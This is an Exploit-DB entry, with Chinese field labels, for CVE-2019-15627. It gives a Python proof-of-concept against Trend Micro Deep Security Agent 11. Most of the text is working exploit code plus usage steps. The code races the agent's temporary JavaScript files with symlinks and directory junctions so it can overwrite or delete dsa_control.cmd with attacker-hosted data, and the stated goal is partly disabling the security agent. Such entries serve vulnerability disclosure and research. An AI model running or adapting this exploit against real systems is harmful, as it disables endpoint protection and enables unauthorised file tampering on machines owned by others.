标题: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite EDB-ID: 47751 CVE: 2019-15627 类型: LOCAL 平台: WINDOWS 发布日期: 2019-12-06 漏洞利用脚本: # Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite
# Exploit Author : Peter Lapp
# Exploit Date: 2019-12-05
# Vendor Homepage :  https://www.trendmicro.com/en_us/business.html
# Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716
# Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise.
# CVE: 2019-15627

# CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec)

# This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools )
# The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations)
# This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS, 
# even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired. 

# When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately.
# The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file.
# While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file. 
# So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage, 
# then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces, 
# and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that 
# are ripe for the writing that can then point to a malicious binary.

# Usage:
# 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part. 
# 2. Open a browser (preferrably IE) and start the script
# 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript).
# 4. Keep refreshing the page until you see the script create the target file overwritten.
#
# It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit. 


import time
import os
import subprocess
import sys
import webbrowser
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class Stage1_Handler(FileSystemEventHandler):
 def __init__(self):
  self.filenames = []
 def on_created(self, event):
  filename = os.path.basename(event.src_path)
  if filename in self.filenames:
   print ('Starting symlink creation.')
   watcher1.stop()
   symlinkery(self.filenames)
  else:
   self.filenames.append(filename)
   print ('File %s created.') % filename
   
class Stage2_Handler(FileSystemEventHandler):
 def on_any_event(self, event):
  if os.path.basename(event.src_path) == 'dsa_control.cmd':
   print "Target file overwritten/deleted. Cleaning up."
   subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True)
   subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True)
   os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"')
   os.system('rmdir /S /Q "C:\\test"')
   os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp')
   watcher2.stop()
   sys.exit(0)
   
class Watcher(object):
 def __init__(self, event_handler, path_to_watch):
  self.event_handler = event_handler
  self.path_to_watch = path_to_watch
  self.observer = Observer()
 def run(self):
  self.observer.schedule(self.event_handler(), self.path_to_watch)
  self.observer.start()
  try:
   while True:
    time.sleep(1)
  except KeyboardInterrupt:
   self.observer.stop()

  self.observer.join()
 def stop(self):
  self.observer.stop()
  
def symlinkery(filenames):
 print "Enter symlinkery"
 for filename in filenames:
  print "Creating symlink for %s" % filename
  cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename
  subprocess.Popen(cmdname, shell=True)
 os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig')
 os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test')
 watcher2.run()
 print "Watcher 2 started"

try:
        os.mkdir('C:\\test')
except:
        pass

path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus'
path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\'
watcher1 = Watcher(Stage1_Handler,path1)
watcher2 = Watcher(Stage2_Handler,path2)
switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d"
subprocess.Popen(switcheroo, shell=True)
watcher1.run() URL: https://www.exploit-db.com/exploits/47751